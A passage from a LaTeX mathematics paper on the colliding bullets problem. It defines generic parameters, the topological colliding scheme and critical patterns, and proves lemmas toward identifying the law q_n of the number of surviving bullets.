+\infty& \textrm{~if~} & T(i,j)< \max\{t_i,t_j\}.
\end{array}
\right.
\end{eqnarray}
Even if we ask $T(i,j)$ to be larger than $\max\{t_i,t_j\}$ to ensure that both $i$ and $j$ have been shot, ${\sf CT}(i,j)$ is still \emph{virtual}: indeed, \eqref{eq:CT} still ignores the remaining bullets, and even if $T(i,j)<\infty$ there is no guarantee that bullets $i$ and $j$ ever hit each other for one or both may have been destroyed before time $T(i,j)$. The collection of line segments $\{\overline {\sf HL}(v_i,t_i)\}_{1\le i\le n}$ is called the \emph{virtual space-time diagram} of the collision process (See Figure~\ref{fig:space-time}).
\subsection{Unambiguous colliding problems and generic parameters}
\label{ssec:genericity}
For $n\ge 1$, let $\Theta_n\subset \mathbb{R}^n_+ \times \mathbb{R}^{n-1}_+$ be the set of couples $(\mathbf V_n,{\boldsymbol\Delta}_{n-1})$ where $\mathbf V_n=(V_1,\dots, V_n)$ and ${\boldsymbol\Delta}_{n-1}=(\Delta_1, \dots, \Delta_{n-1})$ for which $0\le V_1 < V_2 < \dots < V_n$ and $0< \Delta_1 \le \Delta_2 \le \dots \le \Delta_{n-1}$. The set $\Theta_n$ will be referred to as the \emph{parameter space} and its elements $(\mathbf V,{\boldsymbol\Delta})$ as \emph{parameters}.
A pair $(\sigma,\tau) \in\mathfrak S_n\times \mathfrak S_{n-1}$ of permutations of the speeds and inter-bullet delays is called a \emph{configuration}. Fix a configuration $(\sigma,\tau)$. Consider
\[\bpar{cccl}
T^{\tau}_j&=&\Delta_{\tau_1}+\cdots+\Delta_{\tau_{j-1}},& ~~\textrm{ for } 1\leq j \leq n,\\
V^{\sigma}_j&=& V_{\sigma_j}, & ~~\textrm{ for } 1\leq j \leq n.
\end{array}\right.\]
and, for $t\ge T^\tau_j$,
\begin{eqnarray}
{\sf Y}_j^{\sigma,\tau}(t)&=& V^\sigma_j(t-T^{\tau}_j)
\end{eqnarray}
the virtual position of bullet $j$ at any time $t\geq T^{\tau}_j$. Let ${\sf CT}^{\sigma,\tau}(i,j)$ be the virtual collision time of bullets $i$ and $j$ in configuration $(\sigma,\tau)$; if ${\sf CT}^{\sigma,\tau}(i,j)<\infty$ then denote by
\begin{eqnarray} \label{eq:hryj}
M_{\sigma,\tau}^{\mathbf V,{\boldsymbol\Delta}}(i,j):=\overline{\sf HL}\left(V^{\sigma}_i, T_i^\tau\right) \cap \overline {\sf HL}\left(V^\sigma_j, T_j^\tau\right)
\end{eqnarray}
the corresponding virtual collision point (in space-time) of bullets $i$ and $j$ in the configuration $(\sigma,\tau)$; if ${\sf CT}^{\sigma,\tau}(i,j)=\infty$ then the half-lines do not intersect and we set $M_{\sigma,\tau}^{\mathbf V,{\boldsymbol\Delta}}(i,j)=\varnothing$. Here, all the quantities are still \emph{virtual}, since they are defined independently from the action of the other bullets.
\begin{defi}[Generic parameter]\label{def:gene}
We say that the parameter $(\mathbf V,{\boldsymbol\Delta})\in \Theta_n$ is \emph{generic} if for each fixed configuration $(\sigma,\tau)\in \mathfrak S_n\times \mathfrak S_{n-1}$, and for any $1\leq i <j <k\leq n$, we have
\begin{eqnarray}\label{eq:simple-critic}
\overline {\sf HL}\left(V^{\sigma}_i, T_i^\tau\right) \cap \overline {\sf HL}\left(V^{\sigma}_j, T_j^\tau\right)\cap \overline {\sf HL}\left(V^{\sigma}_k, T_k^\tau\right) =\varnothing.
\end{eqnarray}
Let $\mathcal G_n$ denote the subset of $\Theta_n$ consisting of all generic parameters.
\end{defi}
A parameter is generic if for every configuration no three virtual trajectories ever intersect at the same point. Note that being generic requires more than ``no three bullets meet simultaneously at the same place'', since the constraints hold on \emph{virtual} trajectories. The fact that $(\mathbf V,{\boldsymbol\Delta})$ is generic is a sufficient condition for the probability distribution $\mathbf P^{\text{\textsc{ff}}}_{\mathbf V,{\boldsymbol\Delta}}$ to be defined unambiguously.
\subsection{The set of surviving bullets and the space-time diagram}
\label{sec:yiluyi}
Fix $(\mathbf V, {\boldsymbol\Delta})=(\mathbf V_n, {\boldsymbol\Delta}_{n-1})\in \mathcal G_n$ and a configuration $(\sigma,\tau)$. Then the collection of indices of the bullets that indeed survive is determined by the following simple algorithm. For the sake of readability, we now drop the references to $(\mathbf V,{\boldsymbol\Delta})$ and $(\sigma,\tau)$ and suppose that the bullets are shot at times $t_1<t_2<\cdots < t_n$ and have speeds $v_1,v_2,\dots, v_n$.
For each time $t\ge 0$, the algorithm computes the set ${\cal S}_t\subset \{1,2,\dots, n\}$ of bullets that either have not yet been shot, or that are still in the air at time $t$. Initially, we have ${\cal S}_0=\{1,2,\dots, n\}$. Suppose that we have computed ${\cal S}_t$ for $t\le T$.
If there is a collision between the bullets in ${\cal S}_T$ at some time $t>T$, then a collision occurs at time
\[T^+=\min\{{\sf CT}(i,j): i,j\in {\cal S}_T\}.\]
Depending on $T^+$, proceed as follows:
\begin{itemize}
\item if $T^+=\infty$ there is no collision after time $T$ and therefore ${\cal S}_t={\cal S}_T$ for all $t\ge T$;
\item if $T^+<\infty$, then $T^+ = {\sf CT}(i_1,j_1)>T$ for some pair $(i_1,j_1)$ of elements of ${\cal S}_T$; this pair is not necessarily unique, but since the parameter is generic, every bullet is involved in at most one colliding pair. Writing $(i_\ell,j_\ell)$, $1\le \ell\le p$ for the pairs for which ${\sf CT}(i_\ell,j_\ell)=T^+$, one then has ${\cal S}_{T^+}={\cal S}_T\setminus \{i_\ell,j_\ell: 1\le \ell\le p\}$ and ${\cal S}_t={\cal S}_T$ for all $t\in [T,T^+)$.
\end{itemize}
One can thus compute ${\cal S}_t$ for all $t\ge 0$. Since ${\cal S}_t$ is eventually constant, the set of surviving bullets is then ${\cal S}=\lim_{t\to\infty} {\cal S}_t$. The procedure actually computes the time of death $\partial_i$ of each bullet $i\in [n]$. Instead of the completed half-line $\overline {\sf HL}(v_i,t_i)$ one can then consider its \emph{true trajectory} ${\sf HL}(v_i,t_i)$ which is the line segment
\begin{equation}\label{eq:HL}
{\sf HL}(v_i,t_i)=\{(t,Y_i(t)): t\in [t_i, \partial_i]\}.
\end{equation}
The collection of trajectories $\{{\sf HL}(v_i,t_i)\}_{1\le i\le n}$ is called the \emph{space-time diagram}. See the simulations in Fig.~\ref{fig:simu5000}.
\begin{rem}When it is clear from the context which speeds and shooting times we are talking about, we sometimes refer to ${\sf HL}(v_i,t_i)$ and $\overline {\sf HL}(v_i,t_i)$ as ${\sf HL}_i$ and $\overline {\sf HL}_i$.
\end{rem}
\begin{figure}[tbp]
\centering
\includegraphics[scale=.45]{simulation50}
\includegraphics[scale=.45]{simulation5000.pdf}
\caption{\label{fig:simu5000} Simulations of the space-time diagram in the colliding bullets problem with $n$ bullets, shot with unit delays, with independent uniform random speeds on $[0,1]$. On the left-hand side picture $n=50$, on the right-hand side $n=5000$. }
\end{figure}
\subsection{The topological collision scheme}
\label{sub:the_topological_collision_scheme}
Fix $(\mathbf V,{\boldsymbol\Delta})\in \mathcal G_n$, so that for any configuration $(\sigma,\tau)\in \mathfrak S_n\times \mathfrak S_{n-1}$, the half-lines $\overline {\sf HL}(V^\sigma_i, T_i^\tau)$, $1\le i\le n$, only intersect pairwise. Recall the definition of $M_{\sigma,\tau}^{\mathbf V,{\boldsymbol\Delta}}(i,j)$ in \eref{eq:hryj} and recall that ${\sf L}\left(V^\sigma_k, T_k^\tau\right)$ denotes the line which contains $\overline {\sf HL}(V^\sigma_k, T_k^\tau)$.
Each line ${\sf L}(V^\sigma_k,T^\tau_k)$ splits $\mathbb{R}^2$ into two open half-spaces; since $V^\sigma_k\in [0,\infty)$, there is a natural labelling each one of these half-spaces as \emph{above} and $\emph{below}$, depending on whether it contains every point $(0,y)$ or $(0,-y)$ for all large enough $y$, respectively. Furthermore, since lines only intersect pairwise, for any triple of distinct integers $(i,j,k)$, the point $M_{\sigma,\tau}^{\mathbf V,{\boldsymbol\Delta}}(i,j)$, when it exists, lies either above or below the line ${\sf L}(V^\sigma_k, T_k^\tau)$.
In the following, we write
\[\left[n\atop 3\right]^\bullet=
\left\{
\begin{array}{ll}
\{(i,j,k)\in \{1,\cdots,n\}^3,i<j, j\neq k,i\neq k\} & \text{if } n\ge 3\\
\{(1,2,*)\}& \text{if }n=2\,.
\end{array}
\right.
\]
\begin{defi}[Topological colliding scheme]Let $(\mathbf V,{\boldsymbol\Delta})\in \mathcal G_n$. The \emph{topological colliding scheme (TCS, for short) of $(\mathbf V,{\boldsymbol\Delta})$} is the function $\Gamma_{\mathbf V,{\boldsymbol\Delta}}$ defined as follows.
\begin{enumerate}[(i)]
\item If $n\ge 3$, then
\begin{eqnarray}
\app{\Gamma_{\mathbf V,{\boldsymbol\Delta}}}
{\mathfrak S_n \times \mathfrak S_{n-1} \times \left[n\atop3\right]^\bullet}
{\{-1,0,+1\}^{n!\times (n-1)! \times (n-2)\binom{n}2}}
{(\sigma
,\tau,i,j,k)}{
\left\{\begin{array}{rl}
0 & \textrm{if }M_{\sigma,\tau}^{\mathbf V,{\boldsymbol\Delta}}(i,j) = \varnothing\\
+1 &\textrm{if }M_{\sigma,\tau}^{\mathbf V,{\boldsymbol\Delta}}(i,j) \textrm{ is above } {\sf L}\left(V^\sigma_k, T_k^\tau\right)\\
-1 & \textrm{if }M_{\sigma,\tau}^{\mathbf V,{\boldsymbol\Delta}}(i,j) \textrm{ is below } {\sf L}\left(V^\sigma_k, T_k^\tau\right)\,,
\end{array}\right.}
\end{eqnarray}
\item If $n=2$, then
$$\Gamma_{\mathbf V,{\boldsymbol\Delta}}(\sigma,\tau, 1,2,*)=
\left\{
\begin{array}{rl}
0 & \textrm{if }M_{\sigma,\tau}^{\mathbf V,{\boldsymbol\Delta}}(1,2) = \varnothing\\
1 & \textrm{otherwise.}
\end{array}
\right.$$
\end{enumerate}
\end{defi}
The topological colliding scheme is very similar to order types in geometry. Its importance relies in the (obvious?) fact that for every configuration, it determines indices of the surviving bullets. This is straightforward from the following lemma.
\begin{lem}\label{lem:tcs}Let $(\mathbf V,{\boldsymbol\Delta})\in \mathcal G_n$. For any $(\sigma,\tau)\in \mathfrak S_n \times \mathfrak S_{n-1}$, the set ${\cal S}(\mathbf V^\sigma,{\boldsymbol\Delta}^\tau)$ of indices of the surviving bullets in the configuration $(\sigma,\tau)$ is fully determined by the map $\Gamma_{\mathbf V,{\boldsymbol\Delta}}(\sigma,\tau, \cdot,\cdot,\cdot)$.
\end{lem}
\begin{proof}We proceed by induction on the number of bullets $n$. If $n\in \{0,1\}$, then there is nothing to prove; if $n=2$, for every permutations $\sigma$ and $\tau$, the point $M^{\mathbf V,{\boldsymbol\Delta}}_{\sigma,\tau}(i,j)$ exists precisely if $\Gamma_{\mathbf V,{\boldsymbol\Delta}}(\sigma,\tau, i, j, k)=1$, and hence the information is contained in the restricted map $\Gamma_{\mathbf V,{\boldsymbol\Delta}}(\sigma,\tau, \cdot, \cdot,\cdot)$ whether the two bullets do collide or not (${\boldsymbol\Delta}$ has no influence).
Suppose now that the property holds for up to $n-1$ bullets, and any generic pair $(\mathbf V,{\boldsymbol\Delta})$.
Fix a pair of permutations $(\sigma,\tau)\in \mathfrak S_{n}\times \mathfrak S_{n-1}$.
Observe first that considering a subset of the trajectories ${\sf HL}_i$, $i\in [n]$, does correspond to looking at some TCS for a speed vector consisting of the speeds of the selected bullets, and a delay vector containing aggregate delays; if $(\mathbf V,{\boldsymbol\Delta})$ is generic, so are any of the vectors obtained by taking subsets of the bullet trajectories.
There are two possibilities:
\begin{itemize}
\item if $\Gamma_{\mathbf V,{\boldsymbol\Delta}}(\sigma,\tau, 1, \cdot, \cdot )=0$ then ${\sf HL}_1$ does not intersect any of other ${\sf HL}_i$. In this case $1\in {\cal S}_{\mathbf V^\sigma,{\boldsymbol\Delta}^\tau}$ and the remaining surviving bullets are determined by the map induced by $\Gamma_{\mathbf V,{\boldsymbol\Delta}}(\sigma,\tau, \cdot,\cdot,\cdot)$ on the set $\begin{bmatrix}B\atop3\end{bmatrix}^\bullet$ where $B=\{2,\dots, n\}$.
\item otherwise, there exists some $j$ such that $\Gamma_{\mathbf V,{\boldsymbol\Delta}}(\sigma,\tau,1,j, \cdot)$ is not identically zero. Then, let $J\in \{2,3,\dots, n\}$ be minimal such that $\Gamma_{\mathbf V,{\boldsymbol\Delta}}(\sigma,\tau, 1,J, k)=1$, for all $k\not\in \{1,J\}$ (so that $M^{\mathbf V,{\boldsymbol\Delta}}_{\sigma,\tau}(1,J)$ lies above all lines ${\sf L}_i$, $i\in \{2,\dots, n\}\setminus \{J\}$). By induction, we can determine whether bullet $J$ survives when removing bullets with indices in the set $\{1, J+1,J+2,\dots, n\}$ by looking at the map $\Gamma_{\mathbf V,{\boldsymbol\Delta}}(\sigma,\tau, \cdot,\cdot,\cdot)$ on the set $\begin{bmatrix}B\atop3\end{bmatrix}^\bullet$ where now $B=\{2,\dots, J\}$. With this information in hand:
\begin{itemize}
\item If bullet $J$ does survive in this smaller colliding scheme, then bullets $1$ and $J$ do collide in the original scheme. Additionally, bullets $2,3,\dots, J-1$ all annihilate and none of the trajectories genuinely crosses ${\sf HL}_J$. Another induction yields the indices of the surviving bullets lying in $\{J+1,\dots, n\}$ by looking at $\Gamma_{\mathbf V,{\boldsymbol\Delta}}(\sigma,\tau, \cdot,\cdot,\cdot)$ on the set $\begin{bmatrix}B\atop3\end{bmatrix}^\bullet$ with $B=\{J+1,\dots, n\}$.
\item If bullet $J$ does not survive, it collides with another one (whose index is given by the induction); removing both, we can again use induction to determine the remaining surviving bullets.
\end{itemize}
\end{itemize}
It follows that the set of indices of the surviving bullets ${\cal S}(\mathbf V^\sigma,{\boldsymbol\Delta}^\tau)$ is a function of the map $\Gamma_{\mathbf V,{\boldsymbol\Delta}}(\sigma,\tau, \cdot,\cdot, \cdot)$.
\end{proof}
The following simple observation will also be useful:
\begin{lem}\label{lem:TCS_open}
The map $\Gamma: (\mathbf V,{\boldsymbol\Delta})\to \Gamma_{\mathbf V,{\boldsymbol\Delta}}$ is locally constant in $\mathcal G_n$: for $(\mathbf V,{\boldsymbol\Delta})\in \mathcal G_n$, there exists an open neighborhood ${\cal O}$ of $(\mathbf V,{\boldsymbol\Delta})$ in $\mathbb{R}^n\times \mathbb{R}^{n-1}$ such that ${\cal O}\subset {\cal G}_n$,
and
\begin{eqnarray}\label{eq:fdef}
\Gamma_{\mathbf V,{\boldsymbol\Delta}}=\Gamma_{\mathbf V',{\boldsymbol\Delta}'}\qquad \text{for all } (\mathbf V',{\boldsymbol\Delta}')\in \cal O.
\end{eqnarray}
\end{lem}
\subsection{Singular parameters and critical patterns}
\label{ssec:singular-critical}
A parameter $(\mathbf V_n,{\boldsymbol\Delta}_{n-1})$ in $\Theta_n\setminus \mathcal G_n$ is called \emph{singular}. The parameter $(\mathbf V_n, {\boldsymbol\Delta}_{n-1})$ is singular if and only it contains a critical pattern, or critical bi-triangle in the following sense:
\begin{defi}[Critical pattern]A \emph{critical pattern} or \emph{critical bi-triangle} with respect to some parameter $(\mathbf V,{\boldsymbol\Delta})$ is a tuple $(v_m, v_\ell,v_r, d_\ell,d_r)$ such that
\begin{compactenum}[(a)]
\item $v_m$, $v_\ell$ and $v_r$ are three distinct speeds from $\mathbf V$,
\item $d_\ell$ and $d_r$ are the sums of components of ${\boldsymbol\Delta}$ over two disjoint sets of indices, and
\item the three half-lines $\overline {\sf HL}(v_{m},0)$, $\overline {\sf HL}(v_\ell,d_\ell)$, and $\overline {\sf HL}(v_r,d_\ell+d_r)$ are concurrent (see Figure~\ref{fig:FDN}).
\end{compactenum}
\end{defi}
Given $(\mathbf V,{\boldsymbol\Delta})$, a configuration $(\sigma,\tau)$ is said to \emph{contain the critical pattern} $\pi=(v_m,v_l,v_r, d_l,d_r)$ if there exists $(i,j,k)$ such that $V^\sigma_i=v_m$, $V^\sigma_j=v_\ell$, $V^\sigma_k=v_r$ and furthermore
\begin{eqnarray*}
\bpar{ccl}
T^\tau_j-T^\tau_i=\displaystyle\sum_{p=i}^{j-1} \Delta^\tau_p =d_\ell\\
T^\tau_k-T^\tau_j=\displaystyle\sum_{p=j}^{k-1} \Delta^\tau_p =d_r;
\end{array}\right.
\end{eqnarray*}
we let $\cal C_\pi=\cal C_\pi(\mathbf V,{\boldsymbol\Delta})$ denote the set of configurations that contain $\pi$. For a given configuration $(\sigma,\tau)\in \cal C_\pi$ containing a given critical pattern $\pi=(v_m, v_\ell,v_r,d_\ell,d_r)$, { let $\rho_\pi\ge 0$ be such that the common intersection point of $\overline {\sf HL}(v_{m},0)$, $\overline {\sf HL}(v_\ell,d_\ell)$, and $\overline {\sf HL}(v_r,d_\ell+d_r)$ has coordinates $(t,\rho_\pi)$, for some $t\ge 0$\footnote{So $\rho_\pi$ is the (spatial) distance from the origin at which the lines intersect; this is independent of the potential time shift that the pattern may have in specific configuration.}.
The pattern is called \emph{realized} by $(\sigma,\tau)$ if it is also contained in the diagram involving the actual trajectories ${\sf HL}(V^\sigma_i, T^\tau_i)$; this means that for $p\in \{i,j,k\}$, the actual trajectory ${\sf HL}(V^\sigma_p,T^\tau_p)$ contains the line segment $\overline {\sf HL}(V^\sigma_p,T^\tau_p)\cap [0,\infty) \times [0,\rho_\pi)$ (meaning that the portions of the half-lines before the triple collision point are not intersected, see Figure~\ref{fig:FDN}); we let $\cal R_\pi=\cal R_\pi(\mathbf V,{\boldsymbol\Delta})$ be the set of configurations for which $\pi$ is realized. Finally, we say that a critical pattern $\pi=(v_m,v_\ell,v_r, d_\ell, d_r)$ is \emph{minimal} if both $d_\ell$ and $d_r$ correspond to a single component of ${\boldsymbol\Delta}$ (meaning that the three bullets with speed $v_m, v_r$ and $v_\ell$ are shot consecutively).
{While a given speed $v$ may be involved in multiple critical patterns, there may not be a single configuration that contains multiple critical patterns. For this reason, it is useful to keep track of which configurations contain a given critical pattern: a pattern is called $(\sigma,\tau)$-critical if it is critical for $(\sigma,\tau)$.}
\begin{defi}[Simple singular parameter]\label{def:simple_singular}
A singular parameter $(\mathbf V_n,{\boldsymbol\Delta}_{n-1})$ is called \emph{simple}, if for every configuration $(\sigma,\tau)$, every speed $v$ of $\mathbf V_n$ is involved in at most one $(\sigma,\tau)$-critical pattern.
In other words, for each $(\sigma,\tau)$, each line ${\sf HL}(V^{\sigma}_m, T_m^\tau)$ participates in at most one critical bi-triangle; in particular, the collisions involve at most three bullets.
\end{defi}
For a speed vector $\mathbf V_n=(V_1,V_2,\dots, V_n) \in \mathbb{R}^n_+$, let $\mathbf V_n^{\downarrow}$ be the vector $(0,V_2,\dots, V_n)$ where the minimal speed has been put to zero.
\begin{defi}[Essentially generic]\label{def:essentially_generic}
A parameter $(\mathbf V_n,{\boldsymbol\Delta}_{n-1})\in \mathcal G_n$ is called \emph{essentially generic} if, for any convex combination $\mathbf V_n'$ of $\mathbf V_n$ and $\mathbf V^\downarrow_n$, the parameter $(\mathbf V'_n,{\boldsymbol\Delta}_{n-1})$ is either generic or simple singular.
\end{defi}
When $(\mathbf V,{\boldsymbol\Delta})$ is essentially generic, all any critical pattern with respect to a convex combination $(\mathbf V',{\boldsymbol\Delta})$ of $(\mathbf V,{\boldsymbol\Delta})$ and $(\mathbf V^\downarrow,{\boldsymbol\Delta})$ must involve the minimal speed: it must be of the form $(\min \mathbf V',v_\ell, v_r,d_\ell, d_r)$. {The following crucial ``density lemma'' allows us to focus only on essentially generic parameters:
\begin{lem}\label{lem:essentia_generic}
For any $(\mathbf V,{\boldsymbol\Delta})\in \mathcal G_n$, there exists an essentially generic parameter $(\mathbf V',{\boldsymbol\Delta}')\in \mathcal G_n$ such that the TCS of $(\mathbf V, {\boldsymbol\Delta})$ and $(\mathbf V',{\boldsymbol\Delta}')$ are identical, \emph{i.e.}, $\Gamma_{\mathbf V,{\boldsymbol\Delta}} = \Gamma_{\mathbf V',{\boldsymbol\Delta}'}$.
\end{lem}
Our proof of Lemma~\ref{lem:essentia_generic} is probabilistic; for the readers who might be averse to such an existential proof, we mention that one could alternatively give an explicit and deterministic construction the parameter $(\mathbf V',{\boldsymbol\Delta}')$.
\begin{proof}By Lemma~\ref{lem:TCS_open}, there exists a full-dimensional compact set $J\times K \subset \mathbb{R}^n_+\times \mathbb{R}^{n-1}_+$ around $(\mathbf V,{\boldsymbol\Delta})$ in which the TCS is constant; in particular, all the points of $K$ are in $\mathcal G_n$. So any point of $K$ satisfies $(i)$. Furthermore, this implies that for any such point $(\mathbf V^\circ,{\boldsymbol\Delta}^\circ)$, lowering the minimal speed can create at most triple-intersections in the virtual space-time diagram. In order to complete the proof, it suffices to prove that there exists some point in $K$ for which no two such triple collision points are ever aligned with the point in space-time at which the bullet with the minimal speed is shot, call it $O=O(\sigma,\tau)$.
To do this, we show that if $\mathbf V'$ denotes a point chosen proportionally to Lebesgue measure on $J$, then $(\mathbf V',{\boldsymbol\Delta})$ has the desired property with probability one. To see this, fix any $(\sigma,\tau)$ and consider the half-lines corresponding to the bullets with speeds $V_2',V_3',\dots, V_n'$ in this order. Note that the speeds $V_i'$, $0\le i\le n$ are all uniform in some small interval. For any $i\in \{2,\dots, n-1\}$, given the speeds $V_2', \dots, V_i'$ there are only finitely intersection points among the corresponding lines. The rays originating from $O$ intersect the half-lines $\overline {\sf HL}(V_\ell^\sigma, T^\tau_\ell)$, $2\le \sigma_\ell \le i$ at finitely many points, therefore, the line $\overline {\sf HL}(V^\sigma_k, T^\tau_k)$ with $\sigma(k)=i+1$ contains none of these with probability one. As a consequence, almost surely, no two intersections are aligned colinear with $O=O(\sigma,\tau)$. Since the number of configuration is finite, this completes the proof.
\end{proof}
}
\begin{figure}[tbp]
\centerline{\includegraphics[width=16 cm]{critical_pattern.pdf}}
\caption{\label{fig:FDN}In red a critical pattern or critical bi-triangle $(v_m,v_\ell,v_r, d_\ell,d_r)$ in different configurations. On the left, the critical pattern is realized: it is not intersected by any other trajectories. In the middle, the critical pattern is not realized, for one of the three bullets is intersected before reaching the point of the triple collision. On the right, the critical bi-triangle is realized, but not minimal.
}
\end{figure}
\color{black}
\section{Invariance with respect to generic parameters}
\label{sec:dthdh}
\subsection{Statement of the invariance and consequences}
\label{sub:from_independence_to_the_identification_of_the_law}
\label{sec:pf_theo_main}
As we already mentioned earlier, our approach consists in an induction argument. In order to better put the finger on what precisely is needed for the induction hypothesis, we state a fixed-$n$ version of the invariance principle that is one of the keys to the induction step. Note that the key assumption to guarantee that the law of the number of surviving bullets be $\mathbf q_n$ defined in (\ref{eq:q01}--\ref{eq:q02}) is the ``invariance principle'' in \eqref{eq:local_invariance}.
\begin{lem}\label{lem:qn_heriditary}
Let $n\ge 2$. Suppose that, the following two conditions hold:
\begin{compactenum}[(i)]
\item for every $m<n$, for every $(\mathbf V_m,{\boldsymbol\Delta}_{m-1})\in \mathcal G_m$, we have
\[\mathbf P_{\mathbf V_m,{\boldsymbol\Delta}_{m-1}}^\text{\textsc{ff}}=\mathbf q_m\,,\]
\item for every essentially generic parameter $(\mathbf V_{n}, {\boldsymbol\Delta}_{n-1})$ in $\mathcal G_{n}$, we have
\begin{equation}\label{eq:local_invariance}
\mathbf P^{\text{\textsc{ff}}}_{\mathbf V_n,{\boldsymbol\Delta}_{n-1}} = \mathbf P^{\text{\textsc{ff}}}_{\mathbf V_n^\downarrow,{\boldsymbol\Delta}_{n-1}}\,.
\end{equation}
\end{compactenum}
Then, for every $(\mathbf V_{n},{\boldsymbol\Delta}_{n-1})\in \mathcal G_{n}$, we have
\[\mathbf P^{\text{\textsc{ff}}}_{\mathbf V_{n},{\boldsymbol\Delta}_{n-1}} = \mathbf q_{n}\,.\]
\end{lem}
}
\begin{proof}
By Lemma~\ref{lem:essentia_generic}, it suffices to prove the claim for all essentially generic parameters.
Suppose that {\em (i)} and {\em (ii)} hold, and let $(\mathbf V_{n},{\boldsymbol\Delta}_{n-1})\in \mathcal G_{n}$ be essentially generic, so that \eqref{eq:local_invariance} holds.
We look for a decomposition for the colliding bullet problem with $(\mathbf V^\downarrow_n,{\boldsymbol\Delta}_{n-1})$, for which $\min \mathbf V_n^\downarrow = 0$.
Since $\sigma$ is uniform in $\mathfrak S_n$, the element $a$ such that $\sigma_a=1$ is uniform in $\{1,\cdots,n\}$; and the speed of bullet $a$ is then 0. It happens that:
\begin{enumerate}[(1)]
\item With probability $\frac 1n$, $a=n$. The last bullet has then speed 0 and all the others have a positive speed, so the last bullet survives. On that event, the permutation $\sigma'$ of the $n-1$ first speeds is uniform on $\mathfrak S_{n-1}$ and the last delay $\Delta^\tau_n$ is uniform among all the delays (and is independent from $\sigma'$). Thus, the number of bullets from this groups of $n-1$ that survive is distributed as a convex combination of the $\mathbf P^{\text{\textsc{ff}}}_{\mathbf V^-,{\boldsymbol\Delta}^-}$, where $\mathbf V^-=(V_2,V_3,\dots, V_n)$ and ${\boldsymbol\Delta}^-\in \mathbb{R}^{n-2}_+$ is obtained from ${\boldsymbol\Delta}_{n-1}$ by removing a uniform component. Clearly, any such $(\mathbf V^-,{\boldsymbol\Delta}^-)$ is generic; therefore, by induction, the convex combination is simply $\mathbf q_{n-1}$.
\item With probability $1-\frac 1n$, $a\in\{1,\cdots,n-1\}$. The bullet with speed 0 is shot in position $a$. The bullet that follows is shot at time $T^{\tau}_{a+1}$ and has positive speed $V^\sigma_{a+1}$: it hits the zero-speed bullet immediately at time $T^{\tau}_{a+1}$ (observe that in \eref{eq:ff}, when $v_i=0$, $T(i,j)=t_j$). In other words, the zero-speed bullet remains the barrel and is thus bound to get hit by the next bullet for it has positive speed.
\end{enumerate}
Observe now that, in the latter case (2) when $a\in \{1,2,\dots, n-1\}$:
\begin{enumerate}[(2.i)]
\item if $a=n-1$, then the last two bullets collide regardless of the configuration of the $n-2$ first bullets and of the delays between them. If one conditions on the speed $V^{\sigma}_n$ of the last bullet, and on the delays $(\Delta^{\tau}_{n-2},\Delta^{\tau}_{n-1})$immediately before and after the time when bullet $n-1$ is shot, then the remaining structure is entirely exchangeable, and therefore satisfies the induction hypothesis.
\item if $a=1$, the same property holds (and the proof follows the same lines).
\item if $1<a<n-1$, we need to condition on $(a,V^{\sigma}_{a+1},\Delta^{\tau}_{a-1},\Delta^{\tau}_{a},\Delta^{\tau}_{a+1})$. Removing bullets $a$ and $a+1$, we obtain a configuration with $n-2$ remaining bullets where the delay between bullet $a-1$ and $a+2$ is now the sum of three components $\Delta^{\tau}_{a-1}+\Delta^{\tau}_{a}+\Delta^{\tau}_{a+1}$ of ${\boldsymbol\Delta}_{n-1}$. Besides this, and the fact that two speeds $V^{\sigma}_a$ and $V^{\sigma}_{a+1}$ are fixed, the rest of the configuration is perfectly exchangeable. Now, in this case, $a$ is uniform in $\{2,\dots, n-2\}$, and since the distribution of $V^{\sigma}_{a+1}$ is uniform among the other speeds, integrating on the distribution of $a$ -- still conditioning on the other variables -- by the induction hypothesis the distribution of the surviving bullets is given by $\mathbf q_{n-2}$. Since this is true conditionally on $(\sigma_{a+1},\tau_{a-1},\tau_a,\tau_{a+1})$ whatever these values are, the conclusion follows.
\end{enumerate}
The above decomposition implies that, for any $0\le k\le n$, we have
\[\mathbf P_{\mathbf V_n,{\boldsymbol\Delta}_{n-1}}^{\text{\textsc{ff}}}(k) = \mathbf P_{\mathbf V^\downarrow_n, {\boldsymbol\Delta}_{n-1}} = \frac 1 n \mathbf q_{n-1}(k-1) + \left(1-\frac 1 n \right) \mathbf q_{n-2}(k)\,,\]
(with $\mathbf q_{m}(-1)=0$ for every $m$) and it follows that $\mathbf P_{\mathbf V_n,{\boldsymbol\Delta}_{n-1}}^{\text{\textsc{ff}}}=\mathbf q_n$. Since $(\mathbf V_n,{\boldsymbol\Delta}_{n-1})$ was arbitrary, this completes the proof.
\end{proof}
{Assuming Model~\ref{def:mC} follows $\mathbf q_n$, the following proposition shows that Models~\ref{def:mA},~\ref{def:mB} and~\ref{def:mD} of Section~\ref{sec:motivation} are also governed by $\mathbf q_n$.
\begin{pro}\label{pro:auxiliary_models}
Suppose that, for every $(\mathbf V_n, {\boldsymbol\Delta}_{n-1})\in \mathcal G_n$ we have $\mathbf P_{\mathbf V_n,{\boldsymbol\Delta}_{n-1}}^\text{\textsc{ff}}=\mathbf q_n$. Then:
\begin{compactenum}[(i)]
\item For any laws $\mu$ (without atom) and $\nu$ (atoms allowed, except at 0), we have
\[
\mathbf P_{n,\mu}^{\text{\textsc{ru}}}=\mathbf P_{n,\mu,\nu}^{\text{\textsc{rr}}}=\mathbf q_n.\]
\item For any continuous (strictly) increasing function $f:\mathbb{R}_+\to \mathbb{R}_+$ with $f(0)=0$, and any $(\mathbf V_n,{\boldsymbol\Delta}_{n-1})\in \mathcal G_n$, we have
\[\mathbf P^{\text{\textsc{faf}},f}_{\mathbf V_n,{\boldsymbol\Delta}_{n-1}} = \mathbf q_n\,.
\]
\end{compactenum}
\end{pro}
\begin{proof}
